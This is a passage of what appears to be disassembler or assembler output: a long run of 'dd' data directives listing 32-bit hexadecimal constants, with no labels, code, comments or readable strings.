0C14E0EA3h, 720FAAFh, 0E77B694Dh dd 0F8192C18h, 0A4EF7339h, 643705ECh, 3346D18h, 0E7AF04B8h dd 86B59299h, 0F2D6BF21h, 67540139h, 93FD1828h, 0AB785084h dd 79192DAAh, 0EF8904DBh, 728848h, 60A87DE7h, 1245A4FAh dd 0E677E101h, 0EFF62F07h, 0D92C3441h, 13886DECh, 11FFC38h dd 6A86D15Bh, 0D998535Ch, 34371388h, 183AB1DFh, 0DE41B1F0h dd 29D13F92h, 88A2FA00h, 0B484E941h, 0D7DFF705h, 245E6886h dd 8C444460h, 2913A781h, 4167CE0h, 1470B948h, 9FD0B624h dd 100009D0h, 0D8717D7Ch dd 8200A032h, 8F78B793h, 21C4A1h, 96927981h, 1732AB0Fh dd 384D8524h, 0E1155A11h, 5301DCEBh, 4B0B6368h, 455630EDh dd 89BAEF30h, 5C18CBh, 0A31AE4ECh, 5339D2E6h, 8642D800h dd 0F2949F2Ah, 0CCDF1C9Bh, 0BF49034Eh, 0A1751DDBh, 5AC42354h dd 0A997961Fh, 12BC6381h, 25E0B198h, 0D50F0023h, 830AB755h dd 10EBF007h, 0A4F9E1BFh, 7C8810F8h, 0AD22BBh, 0B538DFCDh dd 0FF524E80h, 3016A18h, 2CF4C79h, 591CBF46h, 0E2405C74h dd 0F818FBB3h, 67CEE50Ah, 7FE224A1h, 0BF034100h, 5C84C2DAh dd 653A4210h, 32A6C0DFh, 0C45C1891h, 0A98F18D3h, 1660DBFCh dd 49422829h, 1F3BE2B8h, 8033EBEAh, 84E7FCB0h, 0E1006618h dd 8EBADFFAh, 1208E37Dh, 241C2BB5h, 86244084h, 0B37C9BB9h dd 0ADEFD400h, 2587EAE0h, 28490013h, 6CFAE2E5h, 0CF0009AEh dd 6F880CD7h, 788C2361h, 0C6B607CDh, 0C035C796h, 4218D34Fh dd 0DED92000h, 330F2C8Dh, 765B0190h, 58AB46F3h, 6104304Ah dd 8756E08Bh, 947D00A6h, 4377CC68h, 5860363Fh, 0ED17AD20h dd 6FC203B6h, 26327254h, 5D94EE98h, 0CBD18201h, 0B21387DFh dd 1FF3030h, 8FF7042Ah, 0C3A93A81h, 4607E100h, 63D6F073h dd 5779C064h, 709D09B3h, 2C194B15h, 0F8791348h, 2473F447h dd 0B699FD71h, 7618F822h, 52E88853h, 61388F0Bh, 0E0180E01h dd 6E88C3F4h, 0AA543173h, 80665531h, 0ED3FB359h, 72A63A8h dd 0C12F3592h, 251F4047h, 3A14DA0Ah, 42F09E18h, 0E0CE0020h dd 0BC9067B2h, 0ABF10703h, 0C08E5243h, 0A9511B85h, 696A7800h dd 17965BDEh, 545A0156h, 0CEE24E9Dh, 0FBDBCC66h, 5CBE2503h dd 0AE986FDh, 7792A259h, 2B19419Ch, 0FFA99C8Fh, 5C801064h dd 0E91DA25Dh, 31A439CFh, 0EC0C5800h, 0DF186852h, 2E7BDCA0h dd 6B4CE890h, 0B9EF1830h, 9E5E61h, 3F773855h, 962B49C2h dd 0E7A46100h, 931D8929h, 5AAB2CCDh, 21791214h, 322E197Ch dd 0E1B44014h, 2F7EFB07h, 4BC06A25h, 13065487h, 0C79123h dd 0BF5C86FCh, 0FE00AAE3h, 34DEBDDFh, 121518D4h, 4007FFCFh dd 8122E7ACh, 0C000F06h, 0E8DA87EFh, 144367h, 25223C6h dd 0B5BC1FCFh, 5A88D400h, 2CEFB0F6h, 10D361EDh, 0F0898473h dd 853CBBF0h, 87C2063h, 362277B9h, 4076D740h, 0E3E5366Ah dd 20840838h, 0ABB63902h, 0C49BFDC0h, 2C553020h, 27E716F1h dd 0C3269F07h, 0D607456Ch, 9600DFFFh, 9764C4BEh, 0EDD0008h dd 71AADB76h, 0F2004D41h, 9C78C1D0h, 1CBB50EEh, 44C38F67h dd 0C8F6D6BDh, 65003764h, 3066BEE3h, 26DA77E5h, 67385CBCh dd 0C6A03053h, 7104A3D7h, 7858E6EDh, 0AE61BFC3h, 0E1570AA1h dd 800862E5h, 70AB9DCAh, 0E25C0349h, 0CF951F1Ch, 2028D932h dd 946EEB27h, 8341D700h, 2145DACDh, 8BC20056h, 0DC92BA01h dd 0B2592A18h, 747600ECh, 3077D162h, 7C90981Ah, 171B8961h dd 932BCBA0h, 0C151584Dh, 0EEA8C34Ah, 78276FD8h, 1CD8584Dh dd 8429A468h, 0B76CB300h, 3167523Ch, 5BB001E1h, 0E46259h dd 0D8655F73h, 8AF41FDh, 0B0EF5378h, 507B3E87h, 64816000h dd 0C75D007Ah, 1B5EA2ABh, 73018754h, 0F9FC109Fh, 719EF5FEh dd 74EEC0DFh, 0DBE81B1h, 0CC0CDEE4h, 0C91E7C65h, 61A867EFh dd 42C5600Fh, 453769A0h, 35C0C149h, 75452h, 0DF0AE25Ch dd 384353A4h, 0A1006BE2h, 0E61A9F75h, 22A064h, 5EDD0573h dd 59996CCCh, 0E93F83Ah, 61D2288Ch, 0BDEF4C19h, 4ECD5980h dd 0DB60903Eh, 1A1BF500h, 0E3359ED4h, 513055Ch, 8073532Eh dd 8EDD1DCh, 7826AF0Ch, 0C068B911h, 0CDE5B9D0h, 9D4C4677h dd 5C7126B8h, 1D87BC29h, 6970CDB0h, 395A9C4h, 0BAC517D5h dd 1E8E5B2h, 577F430Eh, 0A822F898h, 80210156h, 0B8D78A1Ch dd 54384214h, 0A0FC9444h, 0F3C20200h, 0FC03BFB0h, 0E31100D6h dd 9F81FA71h, 4600CA9Ch, 0DDCED928h, 0C5C2280h, 29CCD567h dd 0B5E0DF98h, 8034634Ch, 8514E357h, 0EEEC126Fh, 55704B10h dd 0F890810h, 13E1B00h, 0B2876FCFh, 0AC810BEDh, 0A83910E1h dd 0BD8C5154h, 0B271030Bh, 0E99C85A3h, 3219E844h, 60FF48B4h dd 14D539FEh, 9500F16Eh, 2248B8A7h, 10414CD2h, 0BEEF8Ah dd 0F8382808h, 34C7F3h, 86D5827Fh, 4E29CC0h, 317C7473h dd 69961813h, 0AC8EF404h, 0AB25594Fh, 1A45207h, 0F3879A0h dd 86F88ADCh, 5900086Ch, 76CCE00Bh, 0C01858F0h, 4177AE80h dd 51C0B2EFh, 6754D07Eh, 0CB0C01E6h, 41C3351Bh, 0AC66D8E0h dd 7691360h, 28F8E36Bh, 9029B4h, 7AC91D68h, 43FFCCF9h dd 56AF0A07h, 801B18E6h, 42D680Ch, 4455E8ADh, 61003560h dd 21A16F31h, 2E717B39h, 3A106E46h, 658FFD83h, 710DBD78h dd 394554FEh, 542372F1h, 3074C440h, 8A08B704h, 94EE54ACh dd 0F4A9AF74h, 48AD1029h, 4E8B0045h, 0F1E9CFA4h, 2200FF58h dd 0B4DF7D14h, 6132DB82h, 371858A2h, 1E4482Fh, 330940h dd 4BD6F983h, 4C211644h, 0CE008FE6h, 0DAA15FABh, 31D4C8B5h dd 0DF384D7Bh, 6553E428h, 389B49C0h, 3E3E3F16h, 0BA00F64Bh dd 1E765A26h, 0D160E35Bh, 3AB18F78h, 0BC872CFDh, 47644420h dd 0DBE0BEC0h, 3838123h, 15515B94h, 2CF37802h, 28F5EBC9h dd 33809FB0h, 3EAF741Dh, 776C3D73h, 5E35E49Ch, 0EC4CC069h dd 0D5682DC3h, 9C375324h, 0E08278A8h, 6C38A844h, 0DC007788h dd 0EAF96271h, 661DD566h, 3030E13Bh, 2812FE42h, 0ED1F0F23h dd 0B880C449h, 53E30A62h, 4D6CB700h, 0DEFBFF9Fh, 7A9025B2h dd 2295804h, 912E2D19h, 0F11002B8h, 2F00CA21h, 9185A89Dh dd 78488Ah, 0DD7CF7B0h, 0FB726DE1h, 0A7E40807h, 24247E79h dd 24162CD2h, 6374C003h, 0F7F22A19h, 9061D2h, 1E894DCFh dd 0C030FA18h, 0E16BC5F2h, 942CFD65h, 0A28274A3h, 89077F26h dd 77849028h, 98289662h, 19DBB101h, 0B9F629C3h, 2DE9F14Bh dd 1D74CECh, 950EB70Bh, 60D992A8h, 0FE41B088h, 8A239060h dd 0B200E046h, 6A882B29h, 5CD72ED8h, 0A100B98Bh, 2C35117h dd 0D16F93A6h, 1CF16848h, 3F3C8B76h, 0A5670380h, 20C6D293h dd 2669FDD0h, 65F01E74h, 0B85EDDh, 55CD057Ah, 35E9B527h dd 134818CCh, 241B3D01h, 37F5CDC5h, 430E6D8h, 8701A8E8h dd 0E450D0AAh, 723CFD33h, 1C2BC453h, 4291F71Dh, 3419503Ah dd 4F18107Ah, 0C0690EDAh, 733707DFh, 811D29ADh, 4A643288h dd 0C32D2028h, 88BC75B9h, 999CECF8h, 8F413A02h, 80B1D94Ah dd 5C6A9560h, 28AC6275h, 0A8729CFDh, 5CE0BF24h, 90370949h dd 1C546BC8h, 0CB8B92BCh, 5C101305h, 0E5327FA6h, 417B2879h dd 0A0481034h, 33F60BF3h, 57004A32h, 1B8DA466h, 471C7400h dd 0FD216C6h, 0FBFA0B6Eh, 0E5817388h, 0D8F25855h, 3601F306h dd 68CD6DC1h, 444091FDh, 7C797CC3h, 0E9D6090Eh, 2F09BE87h dd 9C04AC21h, 80582DB5h, 66E98C65h, 0E81159FAh, 0EAF25600h dd 93804FC2h, 45A7E98h, 9CEB6460h, 1C750438h, 0E4FFA819h dd 0F5018974h, 97C9C8DEh, 0B8CC1601h, 38601E9h, 469E43A9h dd 133AD487h, 2A5CAD00h, 235FE349h, 0C940001Ch, 2D15D717h dd 950EFE4Dh, 0A31BDAB9h, 0F48065C0h, 88B12C88h, 1400CC75h dd 5EEBD2E7h, 4C34F5B9h, 32CA4B0h, 0B52041E8h, 0D910FE5Fh dd 2754316Ah, 0E41F6D11h, 5F79EFC6h, 50DF6F00h, 7498178Ch dd 91CAB8A3h, 1ADB0C28h, 9B008A81h, 0DF2C5DC3h, 2153F0Bh dd 81254B88h, 8D20EFDh dd 0FCF8F30Ah, 4760F40Fh, 24B2FABh, 0CC9357E0h, 5C662C18h dd 7429FB62h, 3D4E607Ah, 9351010Ah, 0DCBF5F29h, 8C6239h dd 3D676A86h, 3FD576h, 5163D6E9h, 9F7F736Bh, 2CEEC300h dd 0AEA70F21h, 0E7B3009Eh, 0D8E3D7B6h, 851C93DBh, 0EC4271AFh dd 20593F18h, 63D7434Bh, 0DF0094A4h, 1994DEBCh, 0F1BEFF4Ch dd 0FD0BFC69h, 3011B392h, 5166105Dh, 7DAB3E2Ch, 63303BBEh dd 6DE46919h, 7ACE4E00h, 0B1F198E5h, 0C1D624B8h, 0FF242058h dd 475820h, 0B6D5D7C8h, 0E5447793h, 48A4C45Ch, 0AFEF86F4h dd 3C74EE31h, 0E0083ABh, 8943A38Bh, 1D0BA5ADh, 1C19A04Bh dd 5FFA00C0h, 0AB9733D6h, 1AE4B7ECh, 0C9D2DF00h, 14A8A79Dh dd 13F92E59h, 0FAF340D8h, 9CB94432h, 98385404h, 0D23048F1h dd 5A491E73h, 0E8AD72Ch, 886B7B3Ch, 0D009064h, 728BA979h dd 0F0F2C725h, 6810033Eh, 0DFF31153h, 4BB0B4A8h, 0AC910411h dd 0A7E0A200h, 0F626B397h, 10210C4Fh, 0DAE093B2h, 8638000Bh dd 0FCE743E3h, 3C0383C9h, 4D3A9A09h, 20A84E87h, 78A39D9Ch dd 460794Ch, 2CF37B6Bh, 987180CCh, 90DD488Ch, 844EC012h dd 142AACh, 7B6D88C4h, 861F2CF1h, 80305140h, 0E4094552h dd 99B6D7CEh, 0C40267A8h, 7C5C9925h, 0A0E7D009h, 3A29502Ch dd 0A8211496h, 9F826858h, 0D0C47A26h, 79704101h, 0CE196FECh dd 8C352881h, 29546E18h, 51C200A4h, 71684E60h, 0C14700F0h dd 6EA49193h, 10008EA2h, 181A137Fh, 9988FD66h, 0C8E290F0h dd 512E408Eh, 2B321973h, 0DAFF6185h, 0C12D037Ch, 57C90A2Eh dd 0BCDDB388h, 2FA4E103h, 80765FF2h, 16CEA95h, 22F991AEh dd 0F059AF6Eh, 2D005DF3h, 70E4751Bh, 19D54D5h, 4E427972h dd 0F8B9CF66h, 0EC09E9A7h, 8198F465h, 28DEF7FCh, 49F195D1h dd 0E0C0C028h, 3D92DA36h, 83B94D01h, 13F00926h, 0C800A454h dd 0AEF57DB1h, 0CD680521h, 47157365h, 4F3272A8h, 794E6302h dd 71F8C043h, 2E0E58EEh, 6301D64Fh, 0C840BDD8h, 0F973F7h dd 6CECDEB3h, 684C1795h, 4F6330Bh, 0BF18C989h, 53141473h dd 9580A470h, 0B19E1862h, 64AC0C9Ch, 6840C23Ch, 0A89C009Fh dd 525BDEC9h, 0A338EA59h, 14F80010h, 0C7297D13h, 7F20073h dd 2BB70576h, 0DB12D44Eh, 0E50938A8h, 88080432h, 14F8C8Ch dd 0D19A4043h, 31AD245Eh, 0D9882070h, 2106C3E2h, 0BBF00886h dd 91440081h, 575D6A4Ah, 8C0E59A3h, 83FC8230h, 0F1AA2038h dd 90637918h, 87E2A502h, 9CD0956Bh, 11633721h, 694C00F5h dd 48478DB7h, 0F15002Bh, 0F35CBCAFh, 0DF4D2A19h, 7F650940h dd 74546614h, 10C70B53h, 0E80674B0h, 12EA51FAh, 0C7B129C0h dd 3B38954Ch, 198C8FCDh, 5251772Ch, 0BF662A02h, 0E20E15D8h dd 0C3C4C04h, 0AA7726A6h, 65046811h, 0D2A14FE7h, 0EBA0CCh dd 21B727Ah, 4D040CFDh, 2B652600h, 0AE4EBEA8h, 0CCFE0EA6h dd 243015FFh, 6570E4E7h, 8188947Dh, 0E0DAA20Ch, 88DC2413h dd 8300F4B8h, 49426911h, 3A96A87h, 659453F5h, 39162272h dd 20923019h, 90F2FFh, 9B9286C3h, 0BA85D617h, 801E477h dd 0A21AA627h, 8470EBD7h, 0EC8A48D9h, 4A86119Eh, 0A00488h dd 41D22B3h, 0BBB303Dh, 0F367B3Ah, 3E6C03CDh, 0BE68FA02h dd 16F4C4E5h, 0D6E044h, 791E62B0h, 90005573h, 0ABC6485Dh dd 3F4221h, 0BE786832h, 1215F92Bh, 733C5F00h, 0C45D93F7h dd 21950225h, 2D34194Ah, 0E27F9491h, 9488EF25h, 6AE273h dd 71373AECh, 0FDD1CA2Fh, 0AC449A5Bh, 94A9FFCEh, 4015DA1Fh dd 4938A61Eh, 19C37627h, 0F5C667F4h, 51AF4C8h, 0DA52CF0Eh dd 0B5380833h, 0DF8A6080h, 7E890D0h, 67FB5976h, 336C0A7h dd 4B01584Ah, 9606D9D8h, 0CC7350EFh, 0BCF028h, 656CD795h dd 0FDC81D8Eh, 6B392C72h, 0F4147E4Bh, 21C8EF7Ch, 0AB9108FCh dd 5477CE84h, 0A00048E2h, 0BB174735h, 92075BC2h, 0E96A848h dd 335A2320h, 5E1800CDh, 64E6C540h, 6D73CBADh, 0A7D10960h dd 0BE30E2A3h, 4019E470h, 2217FEC1h, 9B340013h, 0EAAA6D82h dd 51011E3Ah, 90D7AE6Eh, 0D834692Fh, 435E401Bh, 0C083BC28h dd 25B69D22h, 9019E3BFh, 11EFD28h, 0D42C7865h, 0B5DAFEA0h dd 79B0DD00h, 8C4BCB6Ch, 0D9D50053h, 332F5161h, 6CFF4FADh dd 422040C8h, 9AD74D00h, 2618C3D2h, 954600BAh, 810B99ADh dd 0D41EA460h, 18BB3C54h, 57801A35h, 0C59424FDh, 92A589C4h dd 103B4041h, 0CF1CDC76h, 0DBE03861h, 751F3CABh, 1A64B900h dd 0C53EA882h, 0E973017Ch, 0BF53A015h, 0A2C2079h, 21FFA640h dd 0F20713F8h, 0AAF0C0FAh, 32B0925h, 21671A1Eh, 0CE8E552h dd 0A60290A3h, 0BF97471h, 0E424C2E0h, 0EFD507CCh, 2388255Eh dd 0E000B1CAh, 0CD813697h, 7A781458h, 5C511753h, 1170097Bh dd 509B444h, 3496334h, 0A0B415D4h, 0D4E35Fh, 9A10BB44h dd 533E7AC2h, 0CFB671Dh, 404F888Fh, 1E2DE9E6h, 3D373DE2h dd 86DE412h, 0DB96F950h, 83A81C90h, 5EC60009h, 46427E52h dd 0C30B36BFh, 252C3271h, 10CA5A38h, 283D6600h, 8CC6ED9Fh dd 0C3E27F00h, 1434C24h, 35FD01B9h, 0BC60164Dh, 7AE822EEh dd 0B200AC73h, 319EAE83h, 97DC65Eh, 5A52BADh, 801E7300h dd 27131393h, 0E021AE72h, 81965F54h, 0DC9001F1h, 5082E8D1h dd 0BA8D210Ch, 0D6330E00h, 0AB67CBBDh, 7257062h, 71730766h dd 32DF01Bh, 55057EC5h, 63D6ECCDh, 5D7A488h, 0C8DE91D9h dd 0B1A091F6h, 0DF118692h, 296253h, 7368CFFCh, 575A7881h dd 18EC510Bh, 65E44829h, 7E8B974h, 2187CC68h, 0D98969B6h dd 94402EEEh, 760EBC19h, 11A200BBh, 0EBC34036h, 0D4B664D7h dd 0A99DB641h, 1B262876h, 0C9595068h, 788F1C00h, 33BD74CEh dd 1E830B0Dh, 582A5CBEh, 76596C98h, 0A749FD0Fh, 8FDF6115h dd 36D5537Bh, 54767040h, 0F1C8B067h, 0F8D85310h, 11F76E25h dd 84076D7Ch, 4786088Ah, 39180FA5h, 0DE1E595Eh, 0FA4217EAh dd 40A86E8Ch, 0F1EEFDh, 0E2183432h, 5172FF33h, 1F44909Eh dd 3688E108h, 0FAFF8C66h, 5D050359h, 63DB664h, 9D509BC0h dd 54789EB1h, 33E1EC0Eh, 3852AAFEh, 0E2F71E84h, 1518B1C0h dd 0F8E51DC0h, 504F18B4h, 0B242D94Bh, 5C64D80Ah, 0E0894FD0h dd 6D385CD0h, 0ED557FA4h, 7AD44798h, 5E7340A0h, 9D02FF50h dd 0E90ACD11h, 0B42C6066h, 83410E1Ah, 30A05B73h, 4DE87AACh dd 2BDAC61Dh, 0ABE7FB01h, 0C0D51BA6h, 88256860h, 9527886Fh dd 78B1509Bh, 7CC0BDECh, 8000C24h, 69B29A3Ch, 1DF4A5h dd 0AE42205Dh, 0C341F74Eh, 0A4FFF0A0h, 4056781Dh, 3E538180h dd 0F0446E59h, 9FD7054Fh, 0F9AAD1Fh, 0C09DC688h, 0BC52EEAh dd 4E01CD69h, 135F7252h, 0A246814h, 4FC248D8h, 3FBFF901h dd 0F86012ECh, 0A45F754Ah, 0E71DA460h, 58421C04h, 0D4E1C179h dd 0D08C47AAh, 0F9007375h, 13F29A78h, 472F6A7h, 7603E901h dd 1E0CA82Dh, 0DBD37CAFh, 92C09CD0h, 3970050h, 0FA28C42h dd 82065BA7h, 304896B2h, 7B6809D8h, 0AC10A8E8h, 145FB4D9h dd 9E009BE8h, 72543A89h, 520EEE2Ch, 97FD1D09h, 8F47F0C0h dd 0B7D92448h, 8686428h, 60A024BCh, 592C157Fh, 5150A113h dd 14913C8Fh, 20484FE1h, 8F56A6Ch, 727B0C07h, 10285571h dd 3A5281h, 54DF1130h, 0F4907794h, 9CDBF480h, 414Ch, 32B15F67h dd 7377930Bh, 91ECB4B5h, 65CE02A9h, 803351ADh, 4BCD6888h dd 7E870055h dd 0CC67A2FFh, 80A0736Ch, 7B755FC3h, 0C1495h, 85115573h dd 0DABF175Fh, 0F00420B9h, 48F2F7E1h, 1EA87B2Ch, 969D657h dd 68D30B4Ch, 0AC251380h, 1A7938h, 0A824D137h, 0B091A61Fh dd 0B79F8A00h, 0D8334C54h, 98584A63h, 4CE1E170h, 8C90FD4Ch dd 0CAD77480h, 0DEC00600h, 296F8849h, 709D5D53h, 89AB7285h dd 0F0272A40h, 33BCE3AEh, 4524E8E3h, 0C23D00DAh, 8423C83Ah dd 87F875B7h, 6A927305h, 78CC3267h, 0C70B00E7h, 2682B315h dd 87033D63h, 907B9776h, 68EE8959h, 61C0F438h, 4F108936h dd 0A29DF012h, 48F21500h, 264F65Dh, 6094B99Bh, 88E608C5h dd 0BF80527Fh, 8BDCB9D9h, 0A80E44CCh, 0FECD8790h, 3C88211Ch dd 0B80097F3h, 19305F9Fh, 0F2054E47h, 0E1BEDF8Dh, 4C72048Ch dd 67005E6Eh, 9304F0E2h, 0BCB657F6h, 5B0138A8h, 58C6C2D9h dd 0EE0046BEh, 0F2010396h, 188EEC77h, 0A8CCFAA9h, 60535E76h dd 8C2B8080h, 50C14892h, 78A5DF46h, 13E49470h, 0F6755D8h dd 403F619Ch, 897CF33Ah, 7514F26h, 0D188C0C1h, 828608C0h dd 9F1A1893h, 0A040C012h, 6881A86Bh, 0CCC54031h, 4ACFC3Ch dd 8822924Ah, 0B0611AE5h, 5814EEC5h, 0C8823095h, 80E6E2E1h dd 0DB1866F0h, 0C30A6D2Bh, 5BB60070h, 0A2F73318h, 4209A40Dh dd 20CD28D8h, 0D4DFFCACh, 0A928A112h, 0DD2C6432h, 0B410AD54h dd 1502AD1Ch, 30BC3AF6h, 0EA4465F4h, 201C1F74h, 5E371911h dd 31776F7Ch, 3A999D80h, 472D8F46h, 878011D9h, 28480A04h dd 3C469398h, 0BD18219Ch, 99788788h, 129CB042h, 220CDCBEh dd 0D62024FCh, 7D7A68BBh, 69270021h, 0EAC2130Eh, 0DE0062B3h dd 0D9889364h, 9A45BDDBh, 0ACA26Ch, 0EC78A185h, 0E2149694h dd 0D45E5ACEh, 0B26717C0h, 0E8650075h, 9ECC0F20h, 0DB00E7DDh dd 432E62ACh, 0B690F38Fh, 0E533025Ch, 0ACE00F17h, 540E86F0h dd 0A0786F43h, 0FAE8DBD7h, 82B033Bh, 0E9B3D945h, 6C881114h dd 24884A14h, 0FB300B2Ch, 28808BF3h, 0ED49110Bh, 0FD41714h dd 46A900B4h, 0E0B3595Bh, 724F0093h, 835E89EFh, 0D848BDC5h dd 6DE0C040h, 1DF0FB04h, 1DDD787h, 0B015FEB5h, 41F461A3h dd 0FC7882D8h, 0A4098D4Eh, 77F19Fh, 73F81831h, 0E03A00FCh dd 0BC1CDFD6h, 0C309F924h, 0FB1A7165h, 0E6218FECh, 0A8423720h dd 5500A545h, 74B6ECC2h, 0E8B7B389h, 19A01250h, 48C89635h dd 0C7C00745h, 0E4D517DFh, 0CDA03061h, 0F8BB2A6Ch, 0A8333F88h dd 0AD9D22A4h, 1C402EE7h, 213A7E8Bh, 3D870038h, 41B619CFh dd 4930067Ch, 6E182067h, 84FC992Ch, 8EB19CEBh, 0F04E8960h dd 7174206Ch, 48F0A481h, 3E00E984h, 0A4D3EA0Eh, 96571AEh dd 5466EB76h, 0F9A72C10h, 11CB7F00h, 4058148h, 4B52075Ch dd 34321040h, 8254A779h, 59B518E1h, 40A51E38h, 31E44BB2h dd 9C04377Dh, 0F00BEF8Ah, 761EA200h, 2F1816B6h, 0C5106F6h dd 283125D6h, 330D1844h, 0E0FD7A4Dh, 0B02CE420h, 0CD2904BEh dd 0E31AA665h, 87EC04F4h, 64C2D7A4h, 0D9592391h, 11B27888h dd 5287F300h, 0CCB92503h, 5086E657h, 37D7086Ah, 0A22979B1h dd 0CC790EFEh, 4BC60539h, 0EC5C90DAh, 1680FC1Fh, 0B4295B89h dd 0D6B600F6h, 0F1A6E1DAh, 2E0055EDh, 6C891B4Ah, 0F0581CB3h dd 6E901201h, 4CA830CDh, 1FF2A574h, 0F8301A26h, 281E326Eh dd 5B4F0922h, 2C7993A3h, 7ABE50Bh, 825BF0FDh, 60704B4Ch dd 953738Fh, 83E44269h, 0D65E9C80h, 37009FB9h, 73604948h dd 2E1ACFBh, 234FDC7h, 0C8E0A74Eh, 0CD500C54h, 0E95CCF80h dd 71B00582h, 827AB69h, 47384099h, 6304305Eh, 779285A2h dd 0E46BBCB6h, 189038h, 2490E1E0h, 802FAA9Bh, 2C31AD2Eh dd 0B66C046Bh, 35B3D620h, 52F63302h, 4D5369EFh, 16689314h dd 0F8A3C0h, 19DED7C7h, 247177B8h, 5220A9FCh, 5D408C54h dd 1A2258Eh, 0D09F3E5Eh, 0D562062Ch, 4C33C4F7h, 0B0430412h dd 7D41E400h, 9FF7479h, 6C71272Dh, 780058F1h, 609F4A46h dd 0ABDA02E9h, 73074D49h, 0B2B83840h, 0EF3E5114h, 1F8B0070h dd 0F07DD2FBh, 6DE1109Fh, 40AF0057h, 50A568E9h, 1D5642DAh dd 202B54h, 0EDC1260Bh, 46CA2018h, 0E42EE503h, 0E0A5291Bh dd 4F264360h, 0DA2820F3h, 6907319Bh, 0CC769DC3h, 0A84A5620h dd 0E65309CBh, 58003F1Ah, 70A466A7h, 1889B100h, 171FA01Eh dd 0A8A0719h, 0B09656F8h, 0F76B884Ch, 0C95E7303h, 0E025E2D6h dd 221949E7h, 65276030h, 4D1C987Bh, 8234B0C2h, 41EC7670h dd 0F5DEE8BBh, 811869FEh, 59F873EFh, 70FB5DCCh, 2BAF0168h dd 912AA1Bh, 32FDFC86h, 0CF7F3F1Fh, 1E4E2301h, 308357ACh dd 0C0D53B97h, 8AC003E3h, 1309CEA6h, 0C8FFC360h, 366F1E8h dd 575B0390h, 9DD3E0ABh, 0D4DFF80h, 113F902h, 5C7BDFC9h dd 413F1370h, 0CC342B0Ch, 341E2BC7h, 72B6C500h, 4BFFD64h dd 0D7DD3266h, 80D0FDBAh, 0C70BD5B7h, 0AB162FA0h, 2B970890h dd 4698EF16h, 0B15424CCh, 0C2448054h, 0F93DE441h, 0C858C53Dh dd 50AC4638h, 81244B6Ch, 0AD01B440h, 0A4C37865h, 672093h dd 8D97338Ch, 0F716A776h, 2CC291CCh, 7465222Fh, 11E05488h dd 90762D5Ah, 0A04FEA20h, 0FDFEDCh, 0A37E8C0Eh, 8DB5FFCFh dd 134B9700h, 92F8D6E8h, 971C7894h, 7F8F0410h, 6E2B51Eh dd 97394501h, 8BE49AE0h, 0E1EB0905h, 0E05A6431h, 1890DB4Eh dd 0D68980h, 587C917Bh, 192C6ADFh, 96815205h, 0C0801B3Fh dd 8A8215h, 517330E2h, 19E0507Eh, 544F951Ah, 22944CC8h dd 84B5BC11h, 0AF42132Ch, 0B8847343h, 0F4040BBh, 1E25BC4Ah dd 413C0158h, 0E0297315h, 65F0704Dh, 90BF58h, 0E8B4871Dh dd 0EA668B5h, 49469DEFh, 2B8E2D2h, 0B6853505h, 0C24461BAh dd 4000282Ch, 0CD5A797Eh, 3099A77h, 720EDDBFh, 859421DCh dd 481D2B11h, 0D9F80F8h, 0AAC29AE7h, 4B80BE1Ch, 255DC400h dd 7BAA25Bh, 48221E9Bh, 8753409Dh, 0FE00F255h, 0D3E0C9D0h dd 0B4011266h, 0B83E8038h, 255C359Ah, 8F36D902h, 0D4EC4BEFh dd 81ED40A4h, 0EA0CA5DBh, 39A969CCh, 5B070BF4h, 1851F1E2h dd 0B0B1F4A8h, 3B286760h, 0FBC2002Ah, 517B30FDh, 0BE19F12Fh dd 54514EDAh, 0D2938661h, 0E09C16C5h, 0A6125210h, 900CD3Fh dd 13429D7Ch, 4DF2056Eh, 0C14B56D0h, 0E8CE6234h, 45259032h dd 4440E6E3h, 8C0038BCh, 41DBC2B0h, 0D39487h, 11AC3FFBh dd 0C0EF14FCh, 80B80499h, 0D66B0DEh, 0F7A4F33h, 613C6EE3h dd 19555FE2h, 736524E8h, 0F9450094h, 0E0DDCCE9h, 88A521D3h dd 48D3854h, 0AF8330h, 0D41CC32Fh, 4B33E547h, 0C2EB7A00h dd 0BE6AD9DFh, 502096DEh, 1A0AE849h, 945BCD78h, 7B73FF00h dd 106690Eh, 0E73275E0h, 294E41FBh, 1A2D0030h, 67861E84h dd 2CF60CF3h, 0F1118302h, 109FC4F8h, 9DA794h, 0E4EBA1ABh dd 781FD64Fh, 94D810B5h, 0C0B400E5h, 0FDBE950Eh, 5F03AB24h dd 722A8550h, 0E0168B59h, 0B5AA68ECh, 7A7B2011h, 3C735829h dd 78F3DA00h, 0C0D9F9F1h, 650E7B7Ch, 9DC347ADh, 34C5E5h dd 6E0FC4D0h, 4B00D369h, 849081FBh, 0E07FC67h, 0E3758FDCh dd 0B9043212h, 0A8B7CA20h, 396A0078h, 5C5251FDh, 0D9048CE3h dd 3BF3AC90h, 1369D380h, 0FF450078h, 66CBE1BFh, 50000FFCh dd 73902FC7h, 16F9747h, 192D1CF7h, 0DC52A0DFh, 0C5165E1Ah dd 0C01E93Fh, 898B22C8h, 79BAC4Ch, 75EA4EA2h, 0CD93E0E0h dd 0A890C726h, 48F1444h dd 0E1B734Eh, 1CC4C2CFh, 8A5E2910h, 6913C8Eh, 0B18944B7h dd 8544B08h, 77426450h, 318B2F12h, 0FC76204Ah, 83F0C110h dd 0A7073923h, 3230FA3Ch, 0B24B7950h, 81EA4859h, 900EFE13h dd 0D3FA73B4h, 15894500h, 52721CADh, 0C611CBD4h, 3A7768C4h dd 8D5E2B00h, 51FBF4BBh, 0C8624CE6h, 9CC4DF81h, 38236EB9h dd 1A391CF6h, 0A500BE7h, 510068F1h, 0DD42D99Ch, 0CB805FEh dd 0B82B63D6h, 0E1BD8704h, 207CD909h, 0DCBF371Ch, 9A0CF71h dd 14797C98h, 2DC38A5Ch, 0F6BC4416h, 0E464CE7h, 82BAF20Eh dd 0B27DC09Ch, 2A19B192h, 1002B4Dh, 0BF5E2F4Eh, 434FADAh dd 6ACB05F0h, 0A2757827h, 4C660544h, 4CAD5467h, 0BC807F3Ch dd 86476FB9h, 69FC6CC4h, 0F57BCF00h, 524E7119h, 487262CCh dd 0EF05ABC9h, 0FEC36400h, 7DD6FD7Dh, 0ADCB1635h, 0CC140B3Ch dd 0A5655448h, 0EF344F09h, 0D6981852h, 3B630076h, 1AA46ED2h dd 0FD0124F1h, 0ED44E072h, 0DB2918h, 0F27A76A1h, 389F82Ch dd 53A48803h, 6673E70h, 18343520h, 0ADF0E14Eh, 15794900h dd 0D7554FC3h, 13480B17h, 5064C7F1h, 0BCDBF244h, 1DE3ACF0h dd 5B32C040h, 0A6793E35h, 0D1C73100h, 9B3B1B9Ah, 811EB8DDh dd 6511A0B8h, 234C7371h, 90032F35h, 0D9F98F45h, 